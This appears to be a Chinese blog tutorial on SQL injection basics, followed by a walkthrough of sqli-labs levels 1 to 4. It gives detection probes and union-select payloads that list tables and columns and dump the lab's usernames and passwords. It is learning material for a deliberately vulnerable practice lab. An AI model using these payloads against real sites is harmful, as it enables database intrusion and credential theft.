SQL注入基础学习

SQL注入基础

一、sql注入的基本知识

Ⅰ、sql注入原理

通过把SQL命令插入到Web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。通常未经检查或者未经充分检查的用户输入数据或代码编写问题,意外变成了代码被执行。

产生漏洞的条件:

  • 参数用户可控
  • 参数带入数据库查询
Ⅱ、都有哪些注入类型
1.按请求类型区分
  • get型

  • post型

  • Cookie注入

2.按注入数据类型区分
  • 数字型
  • 字符型
  • 搜索型:select * from users where username like '%念%'
3.其他(按sqlmap中的分类)
  • 布尔盲注
  • 堆叠注入
  • 宽字节注入
  • 联合注入
    • 第一 先判断是数字还是字符 先判断列 然后看回显的地方 查数据库 查表 查字段 最后拿到我们的账号密码
  • 报错注入
    • 有回显 联合注入 报错注入会用哪些函数呢(extractvalue、updatxml 、 exp 、floor)
    • 无回显1 (不是完全没有回显)布尔盲注true false
    • 无回显2 完全没有回显 dnslog注入(出网) 时间盲注
  • 时间盲注
Ⅲ、如何判断是否存在注入
  • 有回显(页面有数据,信息的返回)
    id=1 and 1=1
    id=1 and 1=2
    id=1 or 1=1
    id='1' or '1'='1'
    id="1" or "1"="1"
    最常用的可以输入一个‘单引号测试
    
  • 无回显(使用sleep函数等)
Ⅳ、三种sql注释符

#:单行注释,常被编码为%23

--空格:单行注释

/*()*/:多行注释

/**/:常用来作为空格

Ⅴ、注入流程
  1. 测试是否存在注入点并且判断注入类型
  2. 判断字段数,用order by
  3. 确定回显位
  4. 查询数据库信息
  5. 查询表等

二、靶场实操(开始先学习手工,后面的话,可以采用sqlmap等自动化工具)

靶场采用sqli-labs

1、第1关
  • 先在网址后面输入?id=1,页面会正常输出,如图所示

  • 判断是否存在注入点并确定注入类型(id=1'(常见)id=1" id=1') id=1')) id=1") id=1")),输入后根据返回包的长度或者报错来确定是否存在注入点)

    • 在id=1后面加符号来判断注入点,经过测试,发现注入点存在,当输入id=1‘时,页面会报错,说明存在注入点

    • 输入?id=2-1,如果与id=1的页面相同,则是数字型,如果与id=2的页面相同,则是字符型,经过测试是字符型注入,如下图,页面与id=2的一样

  • 判断字段个数,利用order by来判断,当输入?id=1' order by 4--+时,页面报错,在将4换成3,页面不报错的话,就说明有3个字段,如图所示,(?id=1' order by 4--+,页面会报错)

  • 判断回显位,利用联合注入。

    ?id=-1' union select 1,2,3--+
    

    id输入一个不存在的值,如果输入1的话,页面会输出id=1的页面信息,经过测试后发现回显位是2,3.

  • 查询数据库信息,查询数据库名和用户名信息,数据库为security

    ?id=-1' union select 1,database(),user()--+
    

  • 查询数据库中表的信息,查询出来有四张表,选择看起来有用的users来查询

    ?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
    

  • 查询users表中的信息

    ?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
    

  • 查询usernamepassword字段

    ?id=-1' union select 1,(select group_concat(username) from users),(select group_concat(password) from users)--+
    

2、第2关
/*判断字符还是数字,利用符号和id=2-1来判断*/
经过测试,是数字型的注入,采用联合注入。

/*利用order by来测试出字段数*/
字段数为3

/*判断回显位*/
union select 1,2,3--+
/*回显位是2,3*/

/*查看数据库以及当前用户名*/
union select 1,database(),user()--+
/*获得数据库名为 security ,用户名为 root@localhost*/

/*获取数据库中表的信息*/
union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3--+
/*获得表mails,referers,uagents,users*/

/*选择users表,获取表的字段*/
union select 1,(select group_concat(column_name) from information_schema.columns where table_name='users'),3--+
/*获得字段id,username,password*/

/*获取username,password字段中的信息*/
union select 1,(select group_concat(username,'^',password) from users),3--+
/*
获得信息,用户名和密码之间用^符号连接
Dumb^Dumb,Angelina^I-kill-you,Dummy^p@ssword,secure^crappy,stupid^stupidity,superman^genious,
batman^mob!le,admin^admin,admin1^admin1,admin2^admin2,admin3^admin3,dhakkan^dumbo,admin4^admin4
*/
3、第3关
/*字符型注入,闭合方式为')*/
后面的代码和第二关一样 
4、第4关
/*字符型注入,闭合方式为")*/
后面的代码和第二关一样 
posted @ 2023-08-19 19:09  凉城厌心  阅读(71)  评论(0编辑  收藏  举报